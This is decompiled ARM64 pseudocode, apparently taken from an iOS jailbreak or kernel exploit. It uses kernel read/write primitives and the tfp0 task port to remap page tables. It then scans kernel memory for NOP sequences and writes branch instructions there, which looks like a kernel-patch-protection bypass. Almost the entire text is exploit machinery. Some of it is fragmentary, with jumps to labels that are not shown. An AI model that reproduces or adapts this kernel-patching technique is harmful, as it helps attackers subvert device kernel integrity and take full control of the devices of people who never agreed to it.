- asm { sxtw x8, w8 };
- *(r31 + 0x12b0) = _ReadAnywhere64();
- for (*(r31 + 0x12ac) = r31; *(r31 + 0x12ac) < 0x800; *(r31 + 0x12ac) = *(r31 + 0x12ac) + 0x1) {
- r8 = 0x10001e1d8;
- r9 = 0x10001e1d0;
- r10 = *(r31 + 0x1520);
- r12 = *(r31 + 0x12ac) << 0x3;
- asm { sxtw x12, w12 };
- r0 = r10 + r12;
- r8 = ((*(r31 + 0x12b0) & 0xfffffffffffff000) - r9) + r8;
- r9 = *(r31 + 0x12ac) << 0x3;
- asm { sxtw x9, w9 };
- *(r31 + 0x160) = r0;
- *(r31 + 0x158) = _ReadAnywhere64();
- *(r31 + 0x150) = _WriteAnywhere64();
- }
- r8 = *(r31 + 0x12b0) & 0xfff;
- *(r31 + 0x148) = r8;
- *(r31 + 0x12b0) = *(r31 + 0x148) | _findphys_real() & 0xfffffffffffff000;
- r0 = *(r31 + 0x12c0);
- r8 = (0x10001e1e8 >> 0xe & 0x7ff) << 0x3;
- asm { sxtw x8, w8 };
- r0 = _WriteAnywhere64();
- asm { movn x8, #0xf };
- asm { movk x8, #0x638 };
- asm { movk x8, #0x6614 };
- r10 = *(r31 + 0x1518) & 0x3fff;
- r10 = *(r31 + 0x1520) + r10;
- *(r31 + 0x140) = r0;
- *(r31 + 0x138) = _WriteAnywhere64();
- goto loc_100016468;
- loc_1000120f4:
- if (sign_extend_64(0x10001e1c4) != 0x0) goto loc_100012c28;
- loc_100012104:
- *(r31 + 0x17af) = r31 | 0x1;
- *(r31 + 0xb10) = r31 | 0x4000;
- *(r31 + 0x16b0) = _physalloc();
- r0 = malloc(*(r31 + 0xb10));
- *(r31 + 0x16a8) = r0;
- *(r31 + 0xb08) = r0;
- r0 = _constget();
- ((_ReadAnywhere64() & 0xffffffffffffffff) - *_gPhysBase) + *_gVirtBase;
- _copyin();
- _copyout();
- *(r31 + 0x1688) = zero_extend_64(0x0);
- *(r31 + 0x1690) = r31 + 0x689;
- *(r31 + 0x1698) = r31 | 0x20000000;
- *(r31 + 0x169c) = r31 | 0x20;
- *(r31 + 0x16a0) = zero_extend_64(0x0);
- *(r31 + 0x1680) = 0xc0;
- *(r31 + 0xb00) = malloc(0xc8);
- r8 = 0x1000171d0;
- asm { movn x3, #0x0 };
- *(r31 + 0x1678) = *(r31 + 0xb00);
- r0 = __memcpy_chk();
- *(r31 + 0x1668) = r31;
- *(r31 + 0xaf8) = r0;
- while (sign_extend_64(*(r31 + 0x1668)) < *(r31 + 0x1680) >> (r31 | 0x3)) {
- r8 = zero_extend_64(0x5151);
- asm { movk x8, #0x5151 };
- asm { movk x8, #0x1337 };
- asm { movk x8, #0x1 };
- if (*(r31 + 0x1678) + sign_extend_64(*(r31 + 0x1668)) * (r31 | 0x8) == r8) {
- r9 = sign_extend_64(*(r31 + 0x1668));
- }
- r8 = zero_extend_64(0x5151);
- asm { movk x8, #0x5151 };
- asm { movk x8, #0x1337 };
- asm { movk x8, #0x2 };
- if (*(r31 + 0x1678) + sign_extend_64(*(r31 + 0x1668)) * (r31 | 0x8) == r8) {
- *(r31 + 0xaf0) = _constget();
- *(r31 + 0xae8) = _ReadAnywhere64();
- r8 = sign_extend_64(*(r31 + 0x1668));
- }
- r8 = zero_extend_64(0x5151);
- asm { movk x8, #0x5151 };
- asm { movk x8, #0x1337 };
- asm { movk x8, #0x4 };
- if (*(r31 + 0x1678) + sign_extend_64(*(r31 + 0x1668)) * (r31 | 0x8) == r8) {
- *(r31 + 0xae0) = _constget();
- r8 = *(r31 + 0xae0) + 0x10001e1b8;
- r10 = sign_extend_64(*(r31 + 0x1668));
- }
- r8 = zero_extend_64(0x5151);
- asm { movk x8, #0x5151 };
- asm { movk x8, #0x1337 };
- asm { movk x8, #0x6 };
- if (*(r31 + 0x1678) + sign_extend_64(*(r31 + 0x1668)) * (r31 | 0x8) == r8) {
- *(r31 + 0xad8) = _findphys_real();
- r8 = sign_extend_64(*(r31 + 0x1668));
- }
- r8 = zero_extend_64(0x5151);
- asm { movk x8, #0x5151 };
- asm { movk x8, #0x1337 };
- asm { movk x8, #0x7 };
- if (*(r31 + 0x1678) + sign_extend_64(*(r31 + 0x1668)) * (r31 | 0x8) == r8) {
- *(r31 + 0xad0) = _constget();
- *(r31 + 0xac8) = _ReadAnywhere64();
- r8 = sign_extend_64(*(r31 + 0x1668));
- }
- *(r31 + 0x1668) = *(r31 + 0x1668) + 0x1;
- }
- *(r31 + 0xac0) = _physalloc();
- *(r31 + 0x1660) = *(r31 + 0xac0);
- _copyout();
- *(r31 + 0xabc) = vm_protect(*_tfp0, *(r31 + 0x1660), r31 | 0x4000, zero_extend_64(0x0), stack[2048]);
- *(r31 + 0xab0) = _constget();
- *(r31 + 0xaa8) = _ReadAnywhere64();
- *(r31 + 0xaa0) = _WriteAnywhere64();
- *(r31 + 0x17b0) = *(r31 + 0x16b0);
- *(r31 + 0xa9c) = vm_protect(*_tfp0, *(r31 + 0x1660), r31 | 0x4000, zero_extend_64(0x0), stack[2048]);
- *(r31 + 0xa90) = _constget();
- *(r31 + 0x1658) = *(r31 + 0xa90) + *_slide;
- *(r31 + 0xa88) = malloc(r31 | 0x4000);
- *(r31 + 0x1650) = *(r31 + 0xa88);
- _copyin();
- *(r31 + 0x1648) = r31;
- *(r31 + 0x1644) = r31;
- goto loc_10001259c;
- loc_10001259c:
- if (*(r31 + 0x1644) >= 0x1) goto loc_100012698;
- loc_1000125a8:
- r8 = zero_extend_64(0xd503);
- asm { movk w8, #0x201f };
- if (*(r31 + 0x1650) + sign_extend_64(*(r31 + 0x1644)) * (r31 | 0x4) != r8) goto loc_100012688;
- loc_1000125d0:
- r8 = zero_extend_64(0xd503);
- asm { movk w8, #0x201f };
- r10 = *(r31 + 0x1644) + 0x1;
- asm { sxtw x10, w10 };
- if (*(r31 + 0x1650) + r10 * (r31 | 0x4) != r8) goto loc_100012688;
- loc_100012604:
- r8 = zero_extend_64(0xd503);
- asm { movk w8, #0x201f };
- r10 = *(r31 + 0x1644) + 0x2;
- asm { sxtw x10, w10 };
- if (*(r31 + 0x1650) + r10 * (r31 | 0x4) != r8) goto loc_100012688;
- loc_100012638:
- r8 = zero_extend_64(0xd503);
- asm { movk w8, #0x201f };
- r10 = *(r31 + 0x1644) + 0x3;
- asm { sxtw x10, w10 };
- if (*(r31 + 0x1650) + r10 * (r31 | 0x4) != r8) goto loc_100012688;
- loc_10001266c:
- r9 = *(r31 + 0x1644) << 0x2;
- asm { sxtw x9, w9 };
- *(r31 + 0x1648) = r9;
- goto loc_100012698;
- loc_100012698:
- *(r31 + 0x1638) = r31;
- for (*(r31 + 0x1634) = r31; *(r31 + 0x1634) < 0x10; *(r31 + 0x1634) = *(r31 + 0x1634) + 0x1) {
- if (*(r31 + 0x1650) + ((*(r31 + 0x1648) >> (r31 | 0x2)) - sign_extend_64(*(r31 + 0x1634))) * (r31 | 0x4) == 0x0) {
- r8 = *(r31 + 0x1648);
- r10 = *(r31 + 0x1634) << 0x2;
- asm { sxtw x10, w10 };
- *(r31 + 0x1638) = r8 - r10;
- }
- }
- free(*(r31 + 0x1650));
- *(r31 + 0xa80) = _ReadAnywhere64();
- *(r31 + 0x1628) = (*(r31 + 0xa80) - *_gPhysBase) + *_gVirtBase;
- r8 = *(r31 + 0x1658) & 0xffffffffffffc000;
- *(r31 + 0x1620) = r8;
- *_vad16 = r8;
- r10 = *(r31 + 0x16b0);
- asm { ubfx x8, x8, #0x19, #0xb };
- *(r31 + 0xa78) = _ReadAnywhere64();
- *(r31 + 0x1618) = *(r31 + 0xa78);
- *(r31 + 0x1610) = ((*(r31 + 0xa78) & 0xfffffffffffff000) - *_gPhysBase) + *_gVirtBase;
- *(r31 + 0x1608) = zero_extend_64(0x0);
- *(r31 + 0xa74) = vm_allocate(*_tfp0, r31 + 0x609, r31 | 0x4000, r31 | 0x1);
- for (*(r31 + 0x1604) = r31; *(r31 + 0x1604) < 0x800; *(r31 + 0x1604) = *(r31 + 0x1604) + 0x1) {
- r8 = *(r31 + 0x1608);
- r0 = *(r31 + 0x1604) << 0x3;
- asm { sxtw x0, w0 };
- r8 = r8 + r0;
- *(r31 + 0xa68) = r8;
- *(r31 + 0xa60) = _ReadAnywhere64();
- *(r31 + 0xa58) = _WriteAnywhere64();
- }
- *(r31 + 0x15d8) = *__NSConcreteStackBlock;
- *(r31 + 0x15e0) = zero_extend_64(0xc200);
- *(r31 + 0x15e4) = zero_extend_64(0x0);
- *(r31 + 0x15e8) = 0x100016c50;
- *(r31 + 0x15f0) = 0x10001c650;
- *(r31 + 0x15f8) = r31 + 0x689;
- _pagestuff_64();
- *(r31 + 0x1618) = *(r31 + 0x1618) & 0xfff | *(*(r31 + 0x1690) + 0x18) & 0xfffffffffffff000;
- r8 = *(r31 + 0x1620);
- *_vad16 = r8;
- r9 = *(r31 + 0x16b0);
- asm { ubfx x8, x8, #0x19, #0xb };
- *(r31 + 0xa50) = _WriteAnywhere64();
- r8 = *(r31 + 0x1608);
- r10 = *_vad16;
- asm { ubfx w10, w10, #0xe, #0xb };
- *(r31 + 0xa48) = _ReadAnywhere64();
- *(r31 + 0x15d0) = *(r31 + 0xa48);
- *(r31 + 0x15c8) = zero_extend_64(0x0);
- *(r31 + 0xa44) = vm_allocate(*_tfp0, r31 + 0x5c9, r31 | 0x4000, r31 | 0x1);
- *(r31 + 0x15c0) = ((*(r31 + 0x15d0) & 0xfffffffffffff000) - 0x10001e1d0) + 0x10001e1d8;
- for (*(r31 + 0x15bc) = r31; *(r31 + 0x15bc) < 0x800; *(r31 + 0x15bc) = *(r31 + 0x15bc) + 0x1) {
- r8 = *(r31 + 0x15c8);
- r0 = *(r31 + 0x15bc) << 0x3;
- asm { sxtw x0, w0 };
- r8 = r8 + r0;
- *(r31 + 0xa38) = r8;
- *(r31 + 0xa30) = _ReadAnywhere64();
- *(r31 + 0xa28) = _WriteAnywhere64();
- }
- *(r31 + 0x1590) = *__NSConcreteStackBlock;
- *(r31 + 0x1598) = zero_extend_64(0xc200);
- *(r31 + 0x159c) = zero_extend_64(0x0);
- *(r31 + 0x15a0) = 0x100016d18;
- *(r31 + 0x15a8) = 0x10001c680;
- *(r31 + 0x15b0) = r31 + 0x689;
- _pagestuff_64();
- *(r31 + 0x15d0) = *(r31 + 0x15d0) & 0xfff | *(*(r31 + 0x1690) + 0x18) & 0xfffffffffffff000;
- r8 = *(*(r31 + 0x1690) + 0x18) - *_gPhysBase;
- r8 = r8 + *_gVirtBase;
- *(r31 + 0x1588) = r8;
- r0 = r8 + *(r31 + 0x1648);
- r1 = zero_extend_64(0x5800);
- asm { movk w1, #0x41 };
- *(r31 + 0xa20) = _WriteAnywhere32(r0, r1);
- r0 = 0x4 + *(r31 + 0x1588) + *(r31 + 0x1648);
- r1 = zero_extend_64(0xd61f);
- asm { movk w1, #0x20 };
- *(r31 + 0xa18) = _WriteAnywhere32(r0, r1);
- *(r31 + 0xa10) = _WriteAnywhere64();
- r0 = *(r31 + 0x1588) + (*(r31 + 0x1658) & 0x3fff);
- r12 = zero_extend_64(0x9400);
- asm { bfxil w12, w11, #0x2, #0x1a };
- *(r31 + 0xa08) = _WriteAnywhere32(r0, r12);
- *_vad16 = *(r31 + 0x1620);
- r9 = *(r31 + 0x1608);
- r10 = *(r31 + 0x1620);
- asm { ubfx w10, w10, #0xe, #0xb };
- *(r31 + 0xa00) = _WriteAnywhere64();
- *(r31 + 0x17b8) = *(r31 + 0x1628) + 0x8;
- *(r31 + 0x17c0) = *(r31 + 0x1660) + 0x8;
- *(r31 + 0x17d0) = *(r31 + 0x1628) + 0x8;
- *(r31 + 0x9f8) = _findphys_real();
- *(r31 + 0x9f0) = _constget();
- *(r31 + 0x17c8) = *(r31 + 0x9f8) - (*(r31 + 0x9f0) - *_gVirtBase) + *_slide;
- *(r31 + 0x9e8) = _constget();
- *(r31 + 0x9e0) = _ReadAnywhere64();
- *(r31 + 0x9d8) = _WriteAnywhere64();
- _Block_object_dispose();
- goto loc_100012da4;
- loc_100012688:
- *(r31 + 0x1644) = *(r31 + 0x1644) + 0x1;
- goto loc_10001259c;
- loc_100012c28:
- NSLog(@"wtf");
- *(r31 + 0x1580) = malloc(r31 | 0x1000);
- *(r31 + 0x1578) = _physalloc();
- *(r31 + 0x1570) = 0x10001e1c8;
- _copyin();
- _copyout();
- *(r31 + 0x1568) = _ReadAnywhere64();
- *(r31 + 0x1570) = *(r31 + 0x1578);
- *(r31 + 0x1560) = _physalloc();
- _copyin();
- _copyout();
- r8 = *(r31 + 0x1568) & 0xfff;
- *(r31 + 0x9d0) = r8;
- *(r31 + 0x1568) = *(r31 + 0x9d0) | _findphys_real() & 0xfffffffffffff000;
- *(r31 + 0x17b0) = *(r31 + 0x1560);
- *(r31 + 0x9c8) = _WriteAnywhere64();
- *(r31 + 0x1558) = _constget() + 0x10001e1b8;
- *(r31 + 0x1528) = *__NSConcreteStackBlock;
- *(r31 + 0x1530) = r31 | 0xffffffffc0000000;
- *(r31 + 0x1534) = r31;
- *(r31 + 0x1538) = 0x100016de0;
- *(r31 + 0x1540) = 0x10001c6b0;
- *(r31 + 0x1548) = *(r31 + 0x1580);
- *(r31 + 0x1550) = *(r31 + 0x1558);
- _pagestuff_64();
- goto loc_100012da4;
- loc_10000faf4:
- *(r31 + 0x1898) = _ReadAnywhere64();
- goto loc_10000fa74;
- }